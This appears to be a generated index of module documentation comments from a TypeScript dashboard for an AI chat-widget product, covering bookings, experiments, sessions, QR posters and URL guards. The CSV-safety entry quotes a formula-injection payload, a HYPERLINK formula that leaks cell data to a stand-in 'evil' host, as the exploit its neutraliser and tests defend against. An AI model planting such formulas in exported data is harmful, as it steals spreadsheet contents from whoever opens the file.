- **`embed-app.lib.bookings-insights`** — Server-side fetch for the UNIFIED inbox's booking half: GET {EMBED_ACCOUNTS_INTERNAL_URL}/internal/insights/bookings ?widget_id=<public wgt_…>&days=<n>&limit=<m> X-Internal-Secret gated — the SAME shared INTERNAL_SECRET agent-lite's leads surface uses, so ONE env var authenticates both halves of the inbox. Bookings live in the accounts DB (Module A), leads in agent-lite's transcript store; the dashboard merges the two envelopes into ONE render (lilyBookingSchema.mergeInboxEntries — canon: NO separate tab). Failure posture mirrors listLeads(): the endpoint itself degrades to an empty list on DB trouble, and THIS reader degrades to [] on any network/shape trouble — a broken booking half must never take down the leads the owner is looking at (each half fails independently).  
  *embed-dashboard/src/lib/bookingsInsights.ts:2*
- **`embed-app.lib.csv-safe`** — Unit tests for the CSV/formula-injection neutralizer shared by every spreadsheet export builder in the dashboard (leads-export route + ExportCsvButton). Exploit reproduced: a visitor-submitted field starting with `=` (a HYPERLINK/formula payload) must be neutralized so it can never execute when the tenant opens the exported file in Excel/Sheets.  
  *embed-dashboard/src/test/csvSafe.test.ts:2*
- **`embed-app.lib.csv-safe`** — Shared CSV/formula-injection neutralizer. RFC-4180 quoting alone (wrap in double-quotes, double embedded quotes) is NOT sufficient defense — a field whose value STARTS with `=`, `+`, `-`, `@`, TAB, CR, or LF is still parsed as a formula by Excel / Google Sheets / LibreOffice when the cell is opened, even inside a quoted CSV field (the spreadsheet app evaluates cell content, not the CSV encoding). A visitor-submitted value (lead/booking name or message from the PUBLIC unauthenticated widget/booking form) can carry a formula like `=HYPERLINK("http://evil/leak?"&A1,"x")` that exfiltrates other cells or reaches out to an attacker URL the moment the tenant opens the exported file. Fix: prefix any field whose first character is a formula trigger with a single quote `'`. Spreadsheet apps treat a leading `'` as "force text", so the formula renders as inert text instead of executing. Applied BEFORE the RFC-4180 quote-escaping step so the two defenses compose cleanly (this function only ever adds a printable char, never touches embedded double-quotes). Used by every CSV/spreadsheet export builder in the dashboard: - src/app/api/leads-export/route.ts (csvField) — the GDPR inbox export, fed by visitor-submitted lead/booking fields. - src/app/(dash)/widgets/trained-by-us/ExportCsvButton.tsx (csvEscape) — the transparency audit-log export. No `server-only` import: this is pure string logic shared by a server route AND a "use client" component, so it must stay client-safe.  
  *embed-dashboard/src/lib/csvSafe.ts:2*
- **`embed-app.lib.dev-token`** — Tenant JWT resolution for the embed dashboard data layer. Resolution order (getDashboardToken): 0. REAL session — the HttpOnly `oa_dash_session` cookie set by the login/signup server actions (lib/session.ts). This is the production 1. EMBED_DASHBOARD_DEV_TOKEN — a pre-minted bearer, if supplied (dev). 2. Mint one at runtime from SHARED_JWT_SECRET + EMBED_DEV_TENANT_ID, matching openalice-tenants' SignupClaims shape exactly: { sub, tid, iss:"openalice-auth", role:"user", plan, iat, exp } signed HS256 (dev). Same secret the tenants container uses, so the token validates server-side. The dev sources (1 + 2) are gated TWICE: behind their own env vars AND behind `OPENALICE_ENV === "dev"` (see getDevToken). In prod/staging the dev path is hard-disabled even if a stray dev-token var is present — only the real session cookie authenticates. They exist purely so the dashboard works without a login during local dev.  
  *embed-dashboard/src/lib/devToken.ts:2*
- **`embed-app.lib.experiments-client`** — Server-side typed client for the openalice-tenants /me/experiments CRUD surface (A/B experiment engine, migration 0019_experiments.sql). All calls run server-side (route handlers / server actions / server components) so the tenant bearer token is never shipped to the browser. The `server-only` import enforces this at build time. Routes (openalice-tenants/src/handlers/me/experiments.rs): GET    /me/experiments?widget_id=<public_id> — list (ExperimentSummary[]) POST   /me/experiments                       — create (ExperimentFull) GET    /me/experiments/{exp_id}              — get   (ExperimentFull) PATCH  /me/experiments/{exp_id}              — patch name/status (ExperimentFull) DELETE /me/experiments/{exp_id}              — 204 (cascades variants) GET    /me/experiments/{exp_id}/variants     — list (VariantFull[]) POST   /me/experiments/{exp_id}/variants     — create (VariantFull) PATCH  /me/experiments/{exp_id}/variants/{var_id} — patch (VariantFull) DELETE /me/experiments/{exp_id}/variants/{var_id} — 204 Auth: HS256 bearer JWT (same `getDashboardToken()` as the widgets client). Reachability: server-side over the docker network via EMBED_ACCOUNTS_INTERNAL_URL. The config_overlay of a variant is an allowlist-only JSONB object — the safe fields are exported here (SAFE_OVERLAY_FIELDS) so the New-Experiment form UI can offer exactly the same field set the tenants write-validator and the agent-lite read-guard enforce. NEVER add provider/consent/tools/ domain/retention/escalation/memory keys here — those are security-sensitive and must not be overridable by an experiment.  
  *embed-dashboard/src/lib/experiments.ts:2*
- **`embed-app.lib.experiments-insights-client`** — Server-side typed client for openalice-agent-lite's internal A/B experiment insights surface. Runs server-side only (route handlers / server components) so the shared INTERNAL_SECRET never reaches the browser. The `server-only` import enforces that at build time. Endpoint (openalice-agent-lite): GET /internal/insights/experiments?widget_id=<public_id>&experiment_id=<uuid>&days=<N> → VariantMetrics[] (one row per variant that has accrued data) Auth: header `x-internal-secret: <INTERNAL_SECRET>` — the same shared secret agent-lite + tenants validate (mirrors agentLite.ts exactly). The dashboard reaches agent-lite server-side over the docker network via EMBED_RUNTIME_INTERNAL_URL (default http://openalice-agent-lite-dev:3050). v1 honesty contract: `collecting_data` is true while a variant has fewer than 30 conversations. The dashboard shows a "Collecting data" pill and withholds any winner indicator until every variant clears that threshold AND the experiment is concluded. NO p-values are computed in v1.  
  *embed-dashboard/src/lib/experimentsInsights.ts:2*
- **`embed-app.lib.experiments-shared`** — Tests for experimentsShared.ts — the client-safe A/B experiment constants. Regression-guards the overlay field allowlist (must stay in sync with the Rust validator in openalice-tenants) and the status enum values.  
  *embed-dashboard/src/test/experimentsShared.test.ts:2*
- **`embed-app.lib.experiments-shared`** — Client-SAFE constants + derived types for the A/B experiment engine. Deliberately has NO `server-only` import, so client components (the ABTestsView New-Experiment builder) can import SAFE_OVERLAY_FIELDS / EXPERIMENT_STATUSES as runtime values WITHOUT dragging the server-only tenants data client (./experiments) into the browser bundle. The server-side data client (./experiments) re-exports both constants so existing server callers keep importing them from "@/lib/experiments" unchanged. Keep SAFE_OVERLAY_FIELDS in sync with the tenants write-validator (src/handlers/me/experiments.rs) and the agent-lite read-guard (src/ab_overlay.rs) — all three must agree (unknown key → 400).  
  *embed-dashboard/src/lib/experimentsShared.ts:2*
- **`embed-app.lib.field-limits`** — Single source of truth for dashboard form field length/range limits, mirroring the openalice-tenants validators (src/handlers/me/{widgets.rs, tenant.rs,account.rs} + src/handlers/widgets.rs). The shared Field primitive (components/Field.tsx) and every editor read these so the client-side counter/validation agrees byte-for-byte with what the backend will accept — no drift, no surprise 400s. Where widgetSchema.ts already exports a canonical constant we re-use it (don't fork the number); the few caps that only live in the Rust validators (name, display_name, email, url) are declared here. Client-safe: pure constants, no server-only imports — both server modules and "use client" components may import this.  
  *embed-dashboard/src/lib/fieldLimits.ts:2*
- **`embed-app.lib.first-run-cookie`** — Server-side read of the FirstRunChecklist's dismissal state, so the initial SSR paint already knows whether to render the checklist — before this, the component's dismissed flag lived ONLY in localStorage (unreadable during SSR), so it always rendered `null` until a client `useEffect` resolved it, then popped the ~130px checklist card in below the tab strip a few hundred ms after first paint, shoving the editor content the user may already be reading (design-audit finding, 2026-07-13). FirstRunChecklist now writes a companion (non-HttpOnly, client-readable — same value, no secret) cookie alongside its localStorage write, and every widget-setup page reads it here server-side to pass `initialDismissed` — so the FIRST paint already matches the eventual client state, no pop-in shove. One cookie per widget (`oa_frc_dismissed_<id>`) — bounded by how many widgets a tenant creates, not global state.  
  *embed-dashboard/src/lib/firstRunCookie.ts:2*
- **`embed-app.lib.kb-sources`** — Client-safe types + pure helpers for the Knowledge wiki (KB ULTRAWIKI M2). Mirrors the openalice-tenants M1 contract exactly (embed-accounts/src/handlers/me/kb_sources.rs): GET    /me/widgets/{id}/kb/sources                     → { sources: KbSource[] } POST   /me/widgets/{id}/kb/sources  { urls: [1..=20] } → { added, rejected } POST   /me/widgets/{id}/kb/sources/{sid}/reindex       → 202 { id, status:"queued" } DELETE /me/widgets/{id}/kb/sources/{sid}               → 204 The URL validation here is a deliberate MIRROR of the server's `validate_source_url` (trim → empty/parse → invalid_url, len>2048 → too_long, scheme ≠ https → not_https, empty host → invalid_url) plus the batch partition rules (`duplicate_in_request`, `already_added`, `kb_page_limit_reached`) so the composer can show per-URL verdicts BEFORE the round-trip — the server stays authoritative, the client just agrees with it. No `server-only` import: the wiki client component and unit tests import from here.  
  *embed-dashboard/src/lib/kbSources.ts:2*
- **`embed-app.lib.kb-sources`** — Unit tests for the KB wiki's client-safe contract mirror (kbSources.ts). validateSourceUrl — mirrors tenants' validate_source_url VERDICT ORDER: - empty → invalid_url; >2048 chars → too_long (checked BEFORE parse); - unparseable → invalid_url; http:// → not_https; https ok → trimmed url. previewUrlBatch — mirrors partition_url_batch: - order preserved; in-batch duplicates reject after first occurrence; - urls already in the library → already_added; - quota consumed by accepted items only; null quota = unlimited; - over-quota tail → kb_page_limit_reached. normalizeKbSource — future 'indexing' status reads as 'queued'; unknown statuses/kinds stay displayable. Plus the display helpers the shelf renders from (formatBytes, formatRelativeTime via Intl.RelativeTimeFormat, hostPath, aggregateSources, sortNewestFirst, validateKbFile).  
  *embed-dashboard/src/test/kbSources.test.ts:2*
- **`embed-app.lib.lily-booking-schema`** — Client-safe contract types + validation for S2 P0.5 «Полки» — the shelf catalog, the booking calendar config, availability and the unified-inbox booking records. DASHBOARD-side mirror of the LIVE Module-A surface (embed-accounts, 2026-07-12): owner   GET/PUT /me/widgets/{id}/items        (≤20, replace-all, positions server-assigned from array order) owner   GET/PUT /me/widgets/{id}/booking      (widget_pages.booking jsonb — a SEPARATE PUT so page saves never clobber it; response carries effective_enabled) owner   GET     /me/widgets/{id}/bookings     (+ PATCH /{booking_id} — status matrix, 409 invalid_transition) public  GET  /public/pages/{slug}/availability?date=YYYY-MM-DD public  POST /public/pages/{slug}/bookings    (201 {id,status} / 409 slot_full) inbox   GET  /internal/insights/bookings      (leads-envelope- compatible, kind="booking") THE SHELVES MIRROR: there is NO public items endpoint by design — the wizard PUTs the catalog (authoritative, returns server ids), then mirrors the ENABLED items into `blocks.shelves` (dashboard-owned jsonb) so the public resolve carries everything the page renders, ids included (the booking POST's item_id). `buildShelvesMirror` is that one projection. Boundary note: NO `server-only` — the wizard (client) imports the types, limits and validators for live inline validation; the authoritative checks re-run in embed-accounts (typed 400s, reason-coded).  
  *embed-dashboard/src/lib/lilyBookingSchema.ts:2*
- **`embed-app.lib.lily-booking-schema.test`** — Contract tests for the S2 P0.5 booking schema glue — the dashboard-side mirror of the LIVE Module-A surface. Pins: - the shelf validation mirror (reason codes match the server's typed 400s: items_over_cap / invalid_item_*), - the ONE catalog→blocks projection (buildShelvesMirror: enabled only, ids kept, duration only for services), - tolerant readers (items / availability / bookings / insights) that must never throw on odd shapes, - the transition-matrix mirror (EXACTLY the server's transition_allowed), - the unified-inbox merge (kind-discriminated, newest-first).  
  *embed-dashboard/src/test/lilyBookingSchema.test.ts:2*
- **`embed-app.lib.lily-landing-copy`** — Visitor-facing copy for the S2 public host's bare-root LABEL page (lily.blal.pro/ — see middleware.ts's host-split-landing feature). THINNED (2026-07-15, IA unification — TWO-DOOR-COPY-2026-07-15 §9, founder-approved verdict "Да делаем унификацию"): this dict used to carry door B's full deep-sell copy (headline/subline/bullets/niche/CTA/ribbon — the "No website? No problem." pitch). That marketing surface MOVED to openalice.blal.pro/qr (apps/landing, the buyer's one domain) — see openalice-platform's `src/app/(main)/qr/page.tsx` and the "qr" i18n namespace there. lily.blal.pro is a pure PRODUCT HOST now: `/l/{slug}` (visitor-facing, untouched by this change) plus this thin root label — "Lily lives here, powered by OpenAlice" — for anyone who lands on the bare host directly (a stray bookmark, a crawler, curiosity) instead of a printed `/l/{slug}` QR code. No marketing copy, no CTA, no live demo here anymore; noindex (see page.tsx's generateMetadata). Same static-dict policy as lilyPageCopy.ts (the hosted /l/{slug} page) and for the same reasons: renders server-side with zero client JS, and the locale here is driven by `?lang=` (zero-JS, same as the hosted page's language row), not the dashboard's NEXT_LOCALE cookie. TWO locales (EN/DE) — this is OpenAlice's OWN label, not a customer's business page; EN + DE covers the launch audience (EU SMBs). Parity is enforced by lilyLandingCopy.test.ts.  
  *embed-dashboard/src/lib/lilyLandingCopy.ts:2*
- **`embed-app.lib.lily-landing-copy.test`** — The micro-landing's copy dict has its own EN/DE parity matrix — same discipline as lilyPageCopy.test.ts's six-locale matrix, scaled to two locales (see lilyLandingCopy.ts for why only EN/DE). THINNED (2026-07-15, IA unification — TWO-DOOR-COPY §9): the dict used to carry door B's full deep-sell copy (headline/subline/bullets/niche/ CTA/ribbon) — that content is now openalice.blal.pro/qr's "qr" i18n namespace (apps/landing). This dict is the thin product-host label: Lily's own name + a "Powered by OpenAlice" credit. Still gated against booking words (book/reserve/buchen/reservier) — the same discipline applies to whatever copy remains, even though the deep-sell bullets that motivated the gate moved elsewhere.  
  *embed-dashboard/src/test/lilyLandingCopy.test.ts:2*
- **`embed-app.lib.lily-page-copy`** — The PUBLIC Lily page's visitor-facing copy ×6 locales — a small static dict, deliberately NOT the dashboard's next-intl catalog. WHY a static dict (documented decision, per the M2 brief): - The public page's locale comes from blocks.locale + a ?lang= override, NOT from the dashboard's NEXT_LOCALE cookie / Accept-Language config — reusing the request-scoped next-intl setup would couple a public visitor surface to dashboard session i18n plumbing. - All strings render server-side (RSC), so none of this ships as client JS; the dict keeps the public bundle lean (no catalog hydration — messages/{locale}.json is several hundred dashboard keys the visitor never sees). - The copy is CANON from the QR-MODE-COPY-PACK-2026-07-11 §2 (DE/EN verbatim). fr/es/it/pt are faithful translations pending Alex's review (flagged in the M2 report). Parity across the six locales is enforced by lilyPageCopy.test.ts (the dict's own i18n matrix). The WIZARD's strings live in messages/*.json as usual — this file is only the public page.  
  *embed-dashboard/src/lib/lilyPageCopy.ts:2*
- **`embed-app.lib.lily-page-copy.test`** — The public Lily page's copy dict has its OWN i18n matrix (it deliberately lives outside messages/*.json — see lilyPageCopy.ts for the decision): every locale must cover every key non-empty, and the copy-pack CANON strings (QR-MODE-COPY-PACK-2026-07-11 §2, DE/EN verbatim) are pinned so a rewrite can never silently drift from Alex's pack.  
  *embed-dashboard/src/test/lilyPageCopy.test.ts:2*
- **`embed-app.lib.lily-page-schema`** — Client-safe contract types + validation for the S2 hosted «Lily page» (S2-ARCHITECTURE-2026-07-12 Р1/Р2/Р5). This file is the DASHBOARD-SIDE source of truth for the widget_pages shape; the accounts (Rust) side is built concurrently (W-M1) against the same architecture doc, so every reader here is TOLERANT (normalizers accept partial/renamed fields and fill safe defaults) and the accounts service stays authoritative for slug uniqueness (PUT → 409 slug_taken) and validation. Contract summary (embed-accounts): GET  /public/pages/{slug}          → LilyPageResolve (no auth; enabled only) GET  /me/widgets/{id}/page         → WidgetPage | 404 (none yet) PUT  /me/widgets/{id}/page         → WidgetPage (create-or-replace; 409 code="slug_taken" on collision) POST /me/widgets/{id}/page/rotate-qr → WidgetPage (fresh qr_token; the old /q/{token} link dies → 410) GET  /q/{qr_token}                 → 302 {S2_PUBLIC_BASE}/l/{slug} Boundary note: NO `server-only` — the wizard (client) imports the types, the slug validator and the field limits for live inline validation. The authoritative checks re-run server-side (actions + accounts).  
  *embed-dashboard/src/lib/lilyPageSchema.ts:2*
- **`embed-app.lib.lily-page-schema.test`** — Tests for the S2 Lily-page contract module: the slug rules the wizard mirrors inline, and the tolerant normalizers that guard the dashboard against shape drift while W-M1 (the accounts backend) lands concurrently.  
  *embed-dashboard/src/test/lilyPageSchema.test.ts:2*
- **`embed-app.lib.lily-page-server`** — Server-side fetch for the PUBLIC Lily page resolve — GET {EMBED_ACCOUNTS_INTERNAL_URL}/public/pages/{slug} (S2 Р2). No auth: the endpoint is public by design (enabled pages only, rate-limited on the accounts side); the dashboard SSR calls it over the docker network like every other server-side accounts fetch. Also home of the S2 base-URL config (domain-agnostic per handoff ⚑1 — every absolute URL reads env at REQUEST time and no host is hardcoded): S2_PUBLIC_BASE — the hosted page origin (canonical tag, /q redirect target); default = https://lily.blal.pro, the dev-truthful host Traefik routes to this dashboard (aligned 2026-07-13 with embed-accounts' boot default — was embed.blal.pro here vs lily.openalice.eu there). S2_QR_BASE     — the QR-redirect origin serving GET /q/{token} (embed-accounts' public host); default = accounts service's Traefik host). DEV DEMO FIXTURE: while W-M1 (the accounts widget_pages backend) is built concurrently, the special slug `lily-demo` resolves to a built-in fixture — ONLY when OPENALICE_ENV=dev AND the real resolve did not answer 200. A real widget public_id can be injected per-request with ?wid=… (dev only) so the inline chat mounts a real dev widget for live proofing. The foreman's joint M1+M2 proof runs against the real endpoint; this fixture cannot activate outside the dev environment.  
  *embed-dashboard/src/lib/lilyPage.server.ts:2*
- **`embed-app.lib.lily-proxy`** — Shared plumbing for the PUBLIC /api/lily/* proxy routes (S2 P0.5): the accounts upstream base, the bounded timeout, and the X-Forwarded-For passthrough that keeps the upstream per-IP rate limiter honest (the limiter keys on the RIGHTMOST XFF hop — the one Traefik stamped with the real visitor IP; without the passthrough every visitor would share this container's bucket).  
  *embed-dashboard/src/lib/lilyProxy.server.ts:2*
- **`embed-app.lib.model-catalog`** — Client-SAFE schema + helpers for the per-widget AI-model selector. This module is imported by BOTH the server-only API client (models.ts) and the browser ModelSelector component, so it carries NO `server-only` import and never touches the tenant bearer token. The catalog itself is served by openalice-tenants: GET /me/models → { models: ModelCatalogEntry[], plan: string } The tenants server is the REAL gate: PATCH /me/widgets/{id} re-validates the chosen llm_model against the catalog, the tenant's plan, and the widget's eu_only_mode (rejects 400 if not allowed). These helpers only decide what the owner is OFFERED (region filter) or shown LOCKED (tier gating).  
  *embed-dashboard/src/lib/modelCatalog.ts:2*
- **`embed-app.lib.model-catalog.test`** — Unit tests for the client-safe model-catalog helpers that drive the per-widget AI-model selector: the eu_only_mode REGION filter and the plan TIER gating (free < starter < pro < business).  
  *embed-dashboard/src/test/modelCatalog.test.ts:2*
- **`embed-app.lib.models-client`** — Server-side typed client for the openalice-tenants /me/models catalog surface. The catalog lists the AI models this tenant may offer per-widget, tagged by region (eu/us), min_tier, vision, and a blurb — plus the tenant's current plan id. The ModelSelector uses it to OFFER allowed models (region filter) and show higher-tier models LOCKED (tier gating); the tenants server re-validates on PATCH /me/widgets/{id} and is the real gate. Route (openalice-tenants): GET /me/models → { models: ModelCatalogEntry[], plan: string } Auth + reachability mirror tenants.ts / voices.ts exactly: HS256 bearer JWT via getDashboardToken(), EMBED_ACCOUNTS_INTERNAL_URL over the docker network. The `server-only` import keeps the tenant bearer token out of the browser bundle. Client-safe types + helpers live in modelCatalog.ts and are re-exported here for convenience.  
  *embed-dashboard/src/lib/models.ts:2*
- **`embed-app.lib.page-meta`** — Server-side helper that builds a per-page browser-tab title of the form `{Page label} · OpenAlice Embed`. Every dashboard page exports `generateMetadata` via {@link pageTitle} so each tab has a distinct, locale-correct title instead of the layout's flat default. The label comes from an EXISTING i18n key (a crumb / nav / eyebrow) wherever one exists; pages without a concise reusable label use the dedicated `meta` namespace. Server-only — `getTranslations` runs in the server module that owns `generateMetadata`.  
  *embed-dashboard/src/lib/pageMeta.ts:2*
- **`embed-app.lib.platform-admin`** — Tests for the platform-admin gate. Key behaviors under test: isPlatformAdmin: - tid claim in EMBED_ADMIN_TENANT_IDS → admin - tid claim NOT in the allowlist → not admin - anonymous session (no token) → not admin - allowlist unset in non-production → EMBED_DEV_TENANT_ID dev fallback - allowlist unset in PRODUCTION → throws (fail closed) instead of silently minting the dev tenant as a cross-tenant platform admin NOTE: admin.ts imports `server-only` (stubbed via the vitest alias) and getDashboardToken from @/lib/devToken, which we mock so no cookie store / Next runtime is needed. Env vars are stubbed per-test via vi.stubEnv.  
  *embed-dashboard/src/test/admin.test.ts:2*
- **`embed-app.lib.platform-admin`** — Platform-admin gate for OPS tools that touch GLOBAL, cross-tenant assets (e.g. the VRM thumbnail studio, which generates previews for the shared avatar catalog every tenant sees). Regular customers must NOT reach these — they only consume the global catalog, never mutate it. Admin identity = the session token's `tid` claim is in the allowlist `EMBED_ADMIN_TENANT_IDS` (comma-separated). When that env is unset we fall back to `EMBED_DEV_TENANT_ID` so the single-tenant dev box (NAO) is admin out of the box — on the DEV BOX ONLY (`OPENALICE_ENV === "dev"`). Real production with the allowlist unset throws (fail closed) instead of falling back. NB: `NODE_ENV` is "production" even on the dev box (the container runs `next build`), so it can't distinguish dev from prod — `OPENALICE_ENV` is the real cluster marker (same gate as middleware.ts's dev-token).  
  *embed-dashboard/src/lib/admin.ts:2*
- **`embed-app.lib.poster-renderer`** — Print-to-PDF boundary for the QR poster (S2 M3, Р4) — the ONLY module that talks to headless chromium. The route builds the HTML (pure posterTemplate) and hands it here; tests mock THIS boundary so the route suite never launches a browser. HOW IT RENDERS: playwright-core (the driver only — its npm install downloads no browser) launches a system chromium, loads the poster HTML via setContent, waits for the embedded fonts, and prints with preferCSSPageSize so the template's `@page { size: A5|A6 }` decides the exact paper dimensions (verified via pdfinfo in the M3 proof). EXECUTABLE RESOLUTION (first hit wins): 1. POSTER_CHROMIUM_PATH — explicit override (compose/env). 2. Well-known system paths (Debian/Ubuntu chromium + Chrome) — the embed-dashboard dev container gets `apt-get install chromium` (documented in the M3 report; the hermetic prod image needs the same layer — deploy-repo follow-up, flagged to the foreman). 3. playwright-core's own registry executable (~/.cache/ms-playwright) — covers host-side dev where the browsers are already installed. No executable anywhere → PosterRendererUnavailableError, which the route maps to an honest 503 (never a stack trace at the download button). FONTS: node:22-slim ships ZERO fonts, so the poster embeds Hanken Grotesk as data: URIs (posterFontFaceCss below — the same GDPR-vendored woff2 the dashboard serves from public/fonts, see src/app/fonts.css). The rendered document therefore never fetches anything over the network. Launch flags: --no-sandbox is required because the dev container runs node as root (chromium refuses the sandbox as root); the content is OUR OWN template over tenant-scoped data — no untrusted navigation happens. --disable-dev-shm-usage avoids the 64 MB /dev/shm default in docker.  
  *embed-dashboard/src/lib/posterRenderer.ts:2*
- **`embed-app.lib.poster-template`** — The printable QR poster — HTML template + copy canon (S2 M3, Р4). Everything here is a PURE function of its inputs so the template is unit- testable without chromium and importable by BOTH the server route (/api/poster/[slug] renders it to PDF) and the Studio wizard (the client headline picker shows the same canonical strings). No `server-only`, no browser globals — the same boundary contract as lib/qr.ts. COPY CANON — QR-MODE-COPY-PACK-2026-07-11 §1, VERBATIM: - 4 headline templates (P1 вопрос / P2 прямой / P3 игривый / P4 слот-конкретный), DE + EN. P4's bracketed slot is part of the canon text (the pack's slots for the POSTER are name/color/QR only — Р4; a per-poster slot editor is the future poster-editor feature, pack §5) and prints verbatim. - Subhead (all templates) + the «Powered by OpenAlice Embed» footer micro. No Impressum on the poster — it lives on the page (pack §1). LOCALES: the pack canonizes DE + EN only (fr/es/it/pt follow «при i18n-диспатче»), so the poster follows the PAGE locale collapsed to de|en: a DE page prints German, every other page locale prints English. SKIN: the poster reuses the hosted Lily page's WARM-LIGHT «Ларёк» tokens — the literal light-theme values from @openalicelabs/ui lily.css (.oa-lily__frame) — bg/surface/ink/mute/line, the same accent-as-seasoning law (--lily-accent-ink mix, header rule, dots), the same Hanken Grotesk. A poster is paper: only the light skin exists here, and the CSS is inlined because chromium renders this document standalone (print-to-PDF must not fetch the dashboard's stylesheets). If the lily skin tokens change, update the POSTER_TOKENS block below in the same commit. SIZES: A5 (148×210 mm) and A6 (105×148 mm), portrait — exact page dimensions via `@page { size: … }` + playwright's preferCSSPageSize. One DOM, two size classes; A6 scales the type/QR down. The QR encodes ONLY the redirect URL {S2_QR_BASE}/q/{qr_token} (Р3 — rotation kills leaked links by construction), rendered as an inline SVG from the SAME vendored encoder the wizard's on-screen QR uses (lib/qr, quiet zone 4, white-in-SVG) — no third-party QR service ever sees the token.  
  *embed-dashboard/src/lib/posterTemplate.ts:2*
- **`embed-app.lib.qr`** — Tiny, self-contained QR-code encoder (client-safe, zero dependencies). WHY vendored instead of an npm dep: the only thing we ever encode is the TOTP `otpauth://` URI during MFA setup. That URI embeds the shared secret, so it MUST NOT be sent to any third-party QR image service — rendering it in the browser from our own origin keeps the secret on the user's machine. Adding a build-time dependency is also out of scope here (the gate forbids `npm install`), so we ship a minimal byte-mode encoder covering the small payloads MFA produces. Scope / limitations (deliberately minimal — this is NOT a general QR lib): - Byte (8-bit) mode only — otpauth URIs are ASCII. - Error-correction level L (lowest) — maximises capacity; the screen is clean and the payload short, so L is ample. - Versions 1..10 (up to 271 bytes at level L) — an otpauth URI with a 32-char base32 secret + issuer + label is ~80-130 bytes, well inside this. We throw if a payload somehow exceeds version 10 rather than silently truncating. The implementation is a compact QR matrix generator (Reed-Solomon over GF(256), the standard QR placement + masking, nayuki-canonical layout). It returns a boolean matrix (true = dark module) the UI renders as an inline SVG — no <canvas>, no network, no secret leaving the page. DECODE-VERIFIED (S2 M3, 2026-07-12): the original vendored version was NOT scannable — caught live by the poster print proof (zbar + jsQR both rejected every symbol). Five spec violations, all fixed here: 1. RS synthetic division used the monic generator's gen[i] instead of gen[i+1] — every EC codeword wrong, symbols uncorrectable; 2. v6..v10 at level L emitted ONE RS block where the spec requires 2..4 interleaved blocks (the EC table is per-block); 3. format-info copy 1 was placed transposed (nayuki's (x,y) calls read as (row,col)) — copy 2 was coincidentally correct; 4. v7+ mid-edge alignment patterns (centers on the timing line) were skipped entirely, shifting the data layout; 5. v7+ version-information blocks were missing altogether. qr.test.ts now round-trips matrices through the jsQR reference decoder across v1..v10 so a structural regression can never ship silently again. Consumers: the MFA setup QR AND the S2 poster/wizard QR ({S2_QR_BASE}/q/{token} via posterTemplate). Boundary note: pure computation, no `server-only` and no browser globals, so it is safe to import from a "use client" component.  
  *embed-dashboard/src/lib/qr.ts:2*
- **`embed-app.lib.qr.test`** — Tests for the vendored QR encoder (src/lib/qr.ts), two layers: 1. STRUCTURAL invariants — square matrix, valid module count (4*version + 17, versions 1..10), canonical finder patterns, version escalation, oversize rejection. 2. DECODE ROUND-TRIP (the law since S2 M3) — matrices are rasterized and fed through the jsQR reference decoder; the decoded text must equal the input byte-for-byte. This is the guard the original suite lacked: the structural checks passed while a Reed-Solomon slice bug made every symbol uncorrectable (zbar/jsQR rejected them — caught live by the S2 poster proof) and v6..v10 lacked the multi-block interleave level L requires. The round-trip spans v1..v10 so both regressions stay impossible. Consumers: the MFA setup QR (otpauth URI) and the S2 poster/wizard QR ({S2_QR_BASE}/q/{qr_token}).  
  *embed-dashboard/src/test/qr.test.ts:2*
- **`embed-app.lib.safe-url`** — Static SSRF guard for tenant-supplied OUTBOUND URLs (webhook endpoints). Blocks the obvious internal / private / reserved targets at the dashboard layer as defense-in-depth. NOTE: this is NOT a complete SSRF defense. A public hostname can still resolve to an internal IP (DNS rebinding). The AUTHORITATIVE check — resolve the host at DELIVERY time and reject private resolved IPs — must live in the webhook-delivery service (openalice-tenants). This guard stops the trivially obvious cases (localhost, RFC-1918 literals, internal docker service names, cloud-metadata 169.254.x) that the previous `startsWith("https://")` check let straight through.  
  *embed-dashboard/src/lib/safeUrl.ts:2*
- **`embed-app.lib.safe-url`** — Static SSRF guard for webhook endpoint URLs. Must accept public https FQDNs / public IPs and reject non-https, localhost, RFC-1918 / loopback / link-local IPv4+IPv6 literals, cloud-metadata (169.254.x), reserved suffixes, and single-label internal docker service names.  
  *embed-dashboard/src/test/safeUrl.test.ts:2*
- **`embed-app.lib.session`** — Tests for the pure helpers in session.ts that do NOT need Next's runtime: - isTokenLive(): JWT structural check + expiry guard - SESSION_COOKIE / SESSION_MAX_AGE constants The async helpers (getSessionToken, setSessionCookie, clearSessionCookie) that call Next's `cookies()` are integration-tested via the next-headers stub in session-integration.test.ts.  
  *embed-dashboard/src/test/session.test.ts:2*
- **`embed-app.lib.session`** — Real customer session — the HttpOnly cookie that carries the tenant JWT. Replaces the dev-token stopgap (devToken.ts) for authenticated customers. The login/signup server actions (app/login/actions.ts) POST credentials to openalice-tenants, receive the HS256 JWT (iss=openalice-auth, role=user, tid claim, signed with SHARED_JWT_SECRET), and stash it in this cookie. Security posture (project gov-level bar): - HttpOnly  → JS cannot read it; no token in localStorage. - Secure    → only sent over HTTPS in prod (relaxed in dev over http). - SameSite=Lax → blocks cross-site POST CSRF while allowing top-level navigation; combined with same-origin server actions this is CSRF-safe. - Path "/"  → available to every dashboard route + server action. - Max-Age 30d → matches the tenants JWT `exp` (mint_signup_jwt). server-only enforces that this module never lands in a client bundle, so the raw JWT is never exposed to the browser.  
  *embed-dashboard/src/lib/session.ts:2*
- **`embed-app.lib.setup-assistant`** — Types + pure helpers for the Studio «Setup-Assistent» (S2-HANDOFF §P0.5 «два входа», door (b)): the PAID LLM generation of a persona_script draft + a pre-filled items catalog draft from 4 wizard answers + dumped materials (pasted texts, links, photos of price lists/menus). The LLM call itself lives server-side (embed-accounts POST /me/widgets/{id}/generate-setup, proxied by /api/generate-setup — the token never reaches the browser). This module owns everything pure: the wire types, the client-side material caps (mirroring the accounts handler's typed 400s so users hit friendly local errors first), and the FREE local template assembly («Ohne Materialien starten» — the no-LLM fallback the canon guarantees every plan).  
  *embed-dashboard/src/lib/setupAssistant.ts:2*
